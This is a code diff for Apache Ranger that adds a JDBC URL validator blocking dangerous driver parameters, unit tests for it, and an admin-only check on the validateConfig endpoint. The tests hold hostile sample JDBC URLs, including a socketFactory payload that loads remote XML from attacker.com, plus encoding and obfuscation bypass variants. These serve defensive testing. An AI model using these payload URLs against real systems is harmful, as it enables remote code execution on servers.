diff --git a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java index f391f66fb3..a29887a448 100644 --- a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java +++ b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java @@ -673,6 +673,7 @@ private void initConnection(String userName, String password) throws HadoopExcep String driverClassName = prop.getProperty("jdbc.driverClassName"); String url = prop.getProperty("jdbc.url"); + JdbcUrlValidator.validate(url); if (driverClassName != null) { try { Driver driver = (Driver) Class.forName(driverClassName).newInstance(); diff --git a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java new file mode 100644 index 0000000000..091ba1d156 --- /dev/null +++ b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java @@ -0,0 +1,120 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.ranger.services.hive.client; + +import org.apache.ranger.plugin.client.HadoopException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashSet; +import java.util.Set; + +public final class JdbcUrlValidator { + private static final Logger LOG = LoggerFactory.getLogger(JdbcUrlValidator.class); + private static final Set BLOCKED_PARAMS = Collections.unmodifiableSet( + new HashSet<>(Arrays.asList( + "socketfactory", "socketfactoryarg", "sslfactory", "sslfactoryarg", + "sslhostnameverifier", "authenticationpluginclassname", "loggerclassname", + "kerberosservername", "gssdelegatecred", "sslpasswordcallback"))); + private static final String[] DANGEROUS_PATTERNS = {"socketfactory", "sslfactory", "autodeserialize"}; + + private JdbcUrlValidator() { + } + + public static void validate(String jdbcUrl) throws HadoopException { + if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) { + HadoopException e = new HadoopException("jdbc.url must not be null or empty"); + e.generateResponseDataMap(false, "Validation failed", "jdbc.url is required", + null, "jdbc.url"); + throw e; + } + String trimmed = jdbcUrl.trim(); + int queryStart = findQueryStart(trimmed); + if (queryStart != -1) { + String queryString = trimmed.substring(queryStart + 1); + validateQueryString(queryString, trimmed); + } + LOG.debug("jdbc.url passed validation: {}", sanitizeForLog(trimmed)); + } + + private static void validateQueryString(String queryString, String fullUrl) throws HadoopException { + String[] tokens = queryString.split("[&;?]"); + for (String token : tokens) { + if (token.trim().isEmpty()) { + continue; + } + int eqIdx = token.indexOf('='); + String paramName = (eqIdx >= 0 ? token.substring(0, eqIdx) : token).trim(); + String decodedParamName = paramName; + try { + decodedParamName = URLDecoder.decode(paramName, StandardCharsets.UTF_8); + } catch (Exception e) { + LOG.warn("Failed to decode parameter name: {}", paramName); + } + + String normalized = decodedParamName.toLowerCase().trim().replaceAll("[._-]", ""); + if (BLOCKED_PARAMS.contains(normalized)) { + logAndThrow("blocked parameter", normalized, paramName, fullUrl); + } + for (String danger : DANGEROUS_PATTERNS) { + if (normalized.contains(danger)) { + logAndThrow("dangerous pattern '" + danger + "'", normalized, paramName, fullUrl); + } + } + if (normalized.contains("factory") && (normalized.contains("socket") || normalized.contains("ssl") || + normalized.contains("connection") || normalized.contains("auth") || + normalized.contains("driver") || normalized.contains("datasource"))) { + logAndThrow("potentially dangerous factory parameter", normalized, paramName, fullUrl); + } + } + } + + static String sanitizeForLog(String url) { + if (url == null) { + return ""; + } + int idx = findQueryStart(url); + return idx >= 0 ? url.substring(0, idx) + "?" : url; + } + + private static int findQueryStart(String url) { + int qIdx = url.indexOf('?'); + int sIdx = url.indexOf(';'); + if (qIdx >= 0 && sIdx >= 0) { + return Math.min(qIdx, sIdx); + } else if (qIdx >= 0) { + return qIdx; + } else if (sIdx >= 0) { + return sIdx; + } + return -1; + } + + private static void logAndThrow(String reason, String normalized, String originalParam, String fullUrl) { + LOG.warn("Rejected jdbc.url containing {} '{}' (param='{}'): {}", reason, normalized, originalParam, sanitizeForLog(fullUrl)); + HadoopException e = new HadoopException("jdbc.url contains a prohibited parameter: '" + originalParam + + "'. This parameter is not permitted for security reasons."); + e.generateResponseDataMap(false, "Invalid jdbc.url parameter", "Parameter '" + + originalParam + "' is blocked", null, "jdbc.url"); + throw e; + } +} diff --git a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java new file mode 100644 index 0000000000..7ff6f473ec --- /dev/null +++ b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java @@ -0,0 +1,422 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ + +package org.apache.ranger.services.hive.client; + +import org.apache.ranger.plugin.client.HadoopException; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.ValueSource; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +class JdbcUrlValidatorTest { + @Nested + @DisplayName("Valid JDBC URLs") + class ValidUrls { + @Test + @DisplayName("Simple JDBC URL without parameters") + void simpleUrlWithoutParameters() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default")); + } + + @Test + @DisplayName("URL with safe parameters") + void urlWithSafeParameters() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?user=test&password=secret&ssl=true")); + } + + @Test + @DisplayName("URL with Kerberos parameters") + void urlWithKerberosParameters() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate("jdbc:hive2://host:10000/default?principal=hive/host@REALM;auth=kerberos")); + } + + @Test + @DisplayName("PostgreSQL URL with safe parameters") + void postgresqlUrlWithSafeParameters() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate("jdbc:postgresql://localhost:5432/db?user=test&ssl=true")); + } + + @Test + @DisplayName("URL with leading/trailing whitespace") + void urlWithWhitespace() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate(" jdbc:hive2://host:10000/db ")); + } + } + + @Nested + @DisplayName("Blocked Parameters - Exact Matches") + class BlockedParameters { + @ParameterizedTest(name = "blocked parameter: {0}") + @ValueSource(strings = { + "socketfactory", "socketfactoryarg", "sslfactory", "sslfactoryarg", + "sslhostnameverifier", "authenticationpluginclassname", "loggerclassname", + "kerberosservername", "gssdelegatecred", "sslpasswordcallback" + }) + @DisplayName("Rejects exact blocked parameter names") + void rejectsExactBlockedParameters(String blockedParam) { + String url = "jdbc:hive2://host:10000/db?" + blockedParam + "=malicious"; + HadoopException exception = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(exception.getMessage().contains("prohibited parameter")); + assertTrue(exception.getMessage().contains(blockedParam)); + } + + @Test + @DisplayName("Rejects socketFactory with Spring ClassPathXmlApplicationContext (original CVE)") + void rejectsOriginalCvePayload() { + String url = "jdbc:postgresql://127.0.0.1:5432/x" + + "?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext" + + "&socketFactoryArg=http://attacker.com/evil.xml"; + HadoopException exception = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(exception.getMessage().contains("prohibited parameter")); + } + } + + @Nested + @DisplayName("Dangerous Pattern Detection") + class DangerousPatterns { + @ParameterizedTest(name = "dangerous pattern: {0}") + @ValueSource(strings = { + "socketfactory", "sslfactory", "autodeserialize" + }) + @DisplayName("Rejects parameters containing dangerous patterns") + void rejectsDangerousPatterns(String pattern) { + String url = "jdbc:hive2://host:10000/db?custom" + pattern + "=malicious"; + HadoopException exception = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(exception.getMessage().contains("prohibited parameter")); + } + + @Test + @DisplayName("Rejects MySQL autoDeserialize parameter") + void rejectsMysqlAutoDeserialize() { + String url = "jdbc:mysql://host:3306/db?customautodeserialize=true"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + } + + @Nested + @DisplayName("Factory Pattern Detection") + class FactoryPatterns { + @ParameterizedTest(name = "factory pattern: {0}") + @ValueSource(strings = { + "customsocketfactory", "mysslconnectionfactory", "authfactory", + "driverfactory", "datasourcefactory" + }) + @DisplayName("Rejects factory-related parameters") + void rejectsFactoryParameters(String factoryParam) { + String url = "jdbc:postgresql://host:5432/db?" + factoryParam + "=com.evil.Factory"; + HadoopException exception = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(exception.getMessage().contains("prohibited parameter")); + } + + @Test + @DisplayName("Allows non-dangerous factory parameters") + void allowsNonDangerousFactory() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?factory=simple&timeout=30")); + } + } + + @Nested + @DisplayName("URL Encoding Bypass Prevention") + class EncodingBypassPrevention { + @Test + @DisplayName("Rejects URL-encoded socketFactory (%46 = F)") + void rejectsUrlEncodedSocketFactory() { + String url = "jdbc:hive2://host:10000/db?socket%46actory=malicious"; + HadoopException exception = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(exception.getMessage().contains("prohibited parameter")); + } + + @ParameterizedTest(name = "encoded parameter: {0}") + @ValueSource(strings = { + "socket%46actory", // %46 = 'F' + "socket%66actory", // %66 = 'f' + "%73ocketfactory", // %73 = 's' + "ssl%46actory", // SSL factory with encoded F + "%73sl%46actory" // Multiple encoded characters + }) + @DisplayName("Rejects various URL encoding bypass attempts") + void rejectsEncodedBypassAttempts(String encodedParam) { + String url = "jdbc:postgresql://host:5432/db?" + encodedParam + "=malicious"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + + @Test + @DisplayName("Handles malformed URL encoding gracefully") + void handlesMalformedEncoding() { + String url = "jdbc:hive2://host:10000/db?socket%ZZfactory=test"; + assertDoesNotThrow(() -> { + try { + JdbcUrlValidator.validate(url); + } catch (HadoopException e) { + assertTrue(e.getMessage().contains("prohibited parameter")); + } + }); + } + } + + @Nested + @DisplayName("Case Sensitivity") + class CaseSensitivity { + @ParameterizedTest(name = "case variant: {0}") + @ValueSource(strings = { + "SOCKETFACTORY", "SocketFactory", "socketFactory", + "SSLFACTORY", "SslFactory", "sslFactory" + }) + @DisplayName("Rejects parameters regardless of case") + void rejectsParametersRegardlessOfCase(String paramName) { + String url = "jdbc:hive2://host:10000/db?" + paramName + "=malicious"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + + @Test + @DisplayName("Handles mixed case with encoding") + void handlesMixedCaseWithEncoding() { + String url = "jdbc:hive2://host:10000/db?Socket%46actory=malicious"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + } + + @Nested + @DisplayName("Parameter Separator Handling") + class ParameterSeparators { + @Test + @DisplayName("Handles & separator") + void handlesAmpersandSeparator() { + String url = "jdbc:hive2://host:10000/db?user=test&socketfactory=evil&ssl=true"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + + @Test + @DisplayName("Handles ; separator") + void handlesSemicolonSeparator() { + String url = "jdbc:hive2://host:10000/db?user=test;socketfactory=evil;ssl=true"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + + @Test + @DisplayName("Handles mixed separators") + void handlesMixedSeparators() { + String url = "jdbc:hive2://host:10000/db?user=test;ssl=true&socketfactory=evil"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + + @Test + @DisplayName("Handles parameters without values") + void handlesParametersWithoutValues() { + String url = "jdbc:hive2://host:10000/db?ssl&socketfactory&timeout=30"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + } + + @Nested + @DisplayName("Character Obfuscation") + class CharacterObfuscation { + @ParameterizedTest(name = "obfuscated parameter: {0}") + @ValueSource(strings = { + "socket.factory", "socket-factory", "socket_factory", + "ssl.factory", "ssl-factory", "ssl_factory" + }) + @DisplayName("Rejects parameters with separator character obfuscation") + void rejectsObfuscatedParameters(String obfuscatedParam) { + String url = "jdbc:hive2://host:10000/db?" + obfuscatedParam + "=malicious"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + + @Test + @DisplayName("Handles multiple obfuscation techniques") + void handlesMultipleObfuscation() { + String url = "jdbc:hive2://host:10000/db?Socket-Factory_ARG=malicious"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + } + + @Nested + @DisplayName("Edge Cases and Error Conditions") + class EdgeCases { + @Test + @DisplayName("Rejects null URL") + void rejectsNullUrl() { + HadoopException exception = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(null)); + assertTrue(exception.getMessage().contains("must not be null or empty")); + } + + @Test + @DisplayName("Rejects empty URL") + void rejectsEmptyUrl() { + HadoopException exception = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate("")); + assertTrue(exception.getMessage().contains("must not be null or empty")); + } + + @Test + @DisplayName("Rejects whitespace-only URL") + void rejectsWhitespaceOnlyUrl() { + HadoopException exception = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(" ")); + assertTrue(exception.getMessage().contains("must not be null or empty")); + } + + @Test + @DisplayName("Handles URL without query parameters") + void handlesUrlWithoutQueryParameters() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default")); + } + + @Test + @DisplayName("Handles URL with empty query string") + void handlesUrlWithEmptyQueryString() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?")); + } + + @Test + @DisplayName("Handles URL with only separators in query") + void handlesUrlWithOnlySeparators() { + assertDoesNotThrow(() -> JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?&;&;")); + } + } + + @Nested + @DisplayName("Logging and Sanitization") + class LoggingAndSanitization { + @Test + @DisplayName("Sanitizes URL for logging") + void sanitizesUrlForLogging() { + String url = "jdbc:hive2://host:10000/db?password=secret&user=test"; + String sanitized = JdbcUrlValidator.sanitizeForLog(url); + assertFalse(sanitized.contains("secret")); + assertTrue(sanitized.contains("")); + assertTrue(sanitized.contains("jdbc:hive2://host:10000/db")); + } + + @Test + @DisplayName("Handles null URL in sanitization") + void handlesNullUrlInSanitization() { + String result = JdbcUrlValidator.sanitizeForLog(null); + assertEquals("", result); + } + + @Test + @DisplayName("Handles URL without parameters in sanitization") + void handlesUrlWithoutParamsInSanitization() { + String url = "jdbc:hive2://host:10000/db"; + String result = JdbcUrlValidator.sanitizeForLog(url); + assertEquals(url, result); + } + + @Test + void testSanitizeForLogWithSemicolonParams() { + String url = "jdbc:hive2://server:10000/db;user=admin;password=secret"; + String result = JdbcUrlValidator.sanitizeForLog(url); + assertEquals("jdbc:hive2://server:10000/db?", result); + } + + @Test + void testSanitizeForLogWithQuestionMarkParams() { + String url = "jdbc:hive2://server:10000/db?user=admin&password=secret"; + String result = JdbcUrlValidator.sanitizeForLog(url); + assertEquals("jdbc:hive2://server:10000/db?", result); + } + + @Test + void testSanitizeForLogWithMixedSeparators() { + String url = "jdbc:hive2://server:10000/db;ssl=true?socketFactory=evil"; + String result = JdbcUrlValidator.sanitizeForLog(url); + assertEquals("jdbc:hive2://server:10000/db?", result); + } + } + + @Nested + @DisplayName("Mixed Parameter Delimiters") + class MixedDelimiters { + @Test + @DisplayName("Blocks dangerous param in semicolon when ? appears later") + void blocksSemicolonBeforeQuestion() { + String url = "jdbc:hive2://host:10000/db;socketFactory=evil?user=test"; + HadoopException ex = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(ex.getMessage().contains("socketFactory")); + } + + @Test + @DisplayName("Blocks dangerous param in question mark when ; appears later") + void blocksQuestionBeforeSemicolon() { + String url = "jdbc:hive2://host:10000/db?socketFactory=evil;user=test"; + HadoopException ex = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(ex.getMessage().contains("socketFactory")); + } + + @Test + @DisplayName("Handles semicolon-only Hive URLs") + void handlesSemicolonOnly() { + String url = "jdbc:hive2://host:10000/db;socketFactory=evil"; + HadoopException ex = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(ex.getMessage().contains("socketFactory")); + } + + @Test + @DisplayName("Handles question-only URLs") + void handlesQuestionOnly() { + String url = "jdbc:hive2://host:10000/db?socketFactory=evil"; + HadoopException ex = assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + assertTrue(ex.getMessage().contains("socketFactory")); + } + } + + @Nested + @DisplayName("Integration Tests") + class IntegrationTests { + @Test + @DisplayName("Complex malicious URL with multiple attack vectors") + void complexMaliciousUrl() { + String url = "jdbc:postgresql://evil.com:5432/db" + + "?user=admin&password=secret" + + "&socket%46actory=org.springframework.context.support.ClassPathXmlApplicationContext" + + "&socketFactoryArg=http://attacker.com/evil.xml" + + "&SSL-Factory=com.evil.SSLFactory" + + "&custom_autodeserialize=true"; + assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url)); + } + + @Test + @DisplayName("Real-world Hive URL with safe parameters") + void realWorldHiveUrl() { + String url = "jdbc:hive2://hive-server:10000/warehouse" + + "?principal=hive/hive-server@EXAMPLE.COM" + + ";auth=kerberos" + + ";ssl=true" + + ";sslTrustStore=/etc/hive/truststore.jks" + + ";transportMode=http" + + ";httpPath=cliservice"; + assertDoesNotThrow(() -> JdbcUrlValidator.validate(url)); + } + + @Test + @DisplayName("PostgreSQL URL with safe SSL parameters") + void postgresqlSafeUrl() { + String url = "jdbc:postgresql://pg-server:5432/mydb" + + "?user=admin&password=secret&ssl=true&sslmode=require"; + assertDoesNotThrow(() -> JdbcUrlValidator.validate(url)); + } + } +} diff --git a/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java b/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java index 74468691c1..d89b08837e 100644 --- a/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java +++ b/security-admin/src/main/java/org/apache/ranger/rest/ServiceREST.java @@ -196,6 +196,7 @@ public class ServiceREST { public static final String PURGE_RECORD_TYPE_LOGIN_LOGS = "login_records"; public static final String PURGE_RECORD_TYPE_TRX_LOGS = "trx_records"; public static final String PURGE_RECORD_TYPE_POLICY_EXPORT_LOGS = "policy_export_logs"; + public static final String ERR_VALIDATE_CONFIG_ADMIN_ONLY = "Only system administrators can validate service configs"; private final RangerAdminConfig config = RangerAdminConfig.getInstance(); private final int maxPolicyNameLength = config.getInt("ranger.policyname.maxlength", 255); @@ -1073,6 +1074,10 @@ public VXResponse validateConfig(RangerService service) { VXResponse ret; RangerPerfTracer perf = null; + if (!bizUtil.isAdmin()) { + LOG.warn("Unauthorized validateConfig attempt by user: {}", bizUtil.getCurrentUserLoginId()); + throw restErrorUtil.createRESTException(HttpServletResponse.SC_FORBIDDEN, ERR_VALIDATE_CONFIG_ADMIN_ONLY, true); + } try { if (RangerPerfTracer.isPerfTraceEnabled(PERF_LOG)) { perf = RangerPerfTracer.getPerfTracer(PERF_LOG, "ServiceREST.validateConfig(serviceName=" + service.getName() + ")"); diff --git a/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java b/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java index 1c4ee11837..997e5fd35b 100644 --- a/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java +++ b/security-admin/src/main/java/org/apache/ranger/security/context/RangerAPIMapping.java @@ -344,6 +344,7 @@ private void mapUGWithAPIs() { apiAssociatedWithUserAndGroups.add(RangerAPIList.SECURE_GET_X_USER); apiAssociatedWithUserAndGroups.add(RangerAPIList.UPDATE_X_AUDIT_MAP); apiAssociatedWithUserAndGroups.add(RangerAPIList.UPDATE_X_PERM_MAP); + apiAssociatedWithUserAndGroups.add(RangerAPIList.VALIDATE_CONFIG); apiAssociatedWithUserAndGroups.add(RangerAPIList.CREATE); apiAssociatedWithUserAndGroups.add(RangerAPIList.CREATE_DEFAULT_ACCOUNT_USER); @@ -466,7 +467,6 @@ private void mapResourceBasedPoliciesWithAPIs() { apiAssociatedWithRBPolicies.add(RangerAPIList.LOOKUP_RESOURCE); apiAssociatedWithRBPolicies.add(RangerAPIList.UPDATE_SERVICE); apiAssociatedWithRBPolicies.add(RangerAPIList.UPDATE_SERVICE_DEF); - apiAssociatedWithRBPolicies.add(RangerAPIList.VALIDATE_CONFIG); apiAssociatedWithRBPolicies.add(RangerAPIList.GET_USER_PROFILE_FOR_USER); apiAssociatedWithRBPolicies.add(RangerAPIList.SEARCH_USERS); diff --git a/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java b/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java index 91c5e34263..d157499429 100644 --- a/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java +++ b/security-admin/src/test/java/org/apache/ranger/rest/TestServiceREST.java @@ -1099,12 +1099,26 @@ public void test34countServices() throws Exception { @Test public void test35validateConfig() throws Exception { RangerService rangerService = rangerService(); + Mockito.when(bizUtil.isAdmin()).thenReturn(true); Mockito.when(serviceMgr.validateConfig(rangerService, svcStore)).thenReturn(vXResponse); VXResponse dbVXResponse = serviceREST.validateConfig(rangerService); Assertions.assertNotNull(dbVXResponse); Mockito.verify(serviceMgr).validateConfig(rangerService, svcStore); } + @Test + public void test35ValidateConfig_NonAdminUser_ThrowsForbidden() throws Exception { + RangerService rangerService = rangerService(); + Mockito.when(bizUtil.isAdmin()).thenReturn(false); + Mockito.when(restErrorUtil.createRESTException(Mockito.eq(HttpServletResponse.SC_FORBIDDEN), + Mockito.eq(ServiceREST.ERR_VALIDATE_CONFIG_ADMIN_ONLY), + Mockito.eq(true))).thenReturn(new WebApplicationException(HttpServletResponse.SC_FORBIDDEN)); + Assertions.assertThrows(WebApplicationException.class, () -> serviceREST.validateConfig(rangerService)); + Mockito.verify(bizUtil).isAdmin(); + Mockito.verify(restErrorUtil).createRESTException(HttpServletResponse.SC_FORBIDDEN, ServiceREST.ERR_VALIDATE_CONFIG_ADMIN_ONLY, true); + Mockito.verify(serviceMgr, Mockito.never()).validateConfig(Mockito.any(), Mockito.any()); + } + @Test public void test40applyPolicy() { RangerPolicy existingPolicy = rangerPolicy(); @@ -3186,7 +3200,7 @@ public void test114CountServicesWithFilterException() throws Exception { @Test public void test115ValidateConfigWithException() throws Exception { RangerService rangerService = rangerService(); - + Mockito.when(bizUtil.isAdmin()).thenReturn(true); Mockito.when(serviceMgr.validateConfig(rangerService, svcStore)).thenThrow(new RuntimeException("Validation failed")); Mockito.when(restErrorUtil.createRESTException(Mockito.anyString())).thenReturn(new WebApplicationException());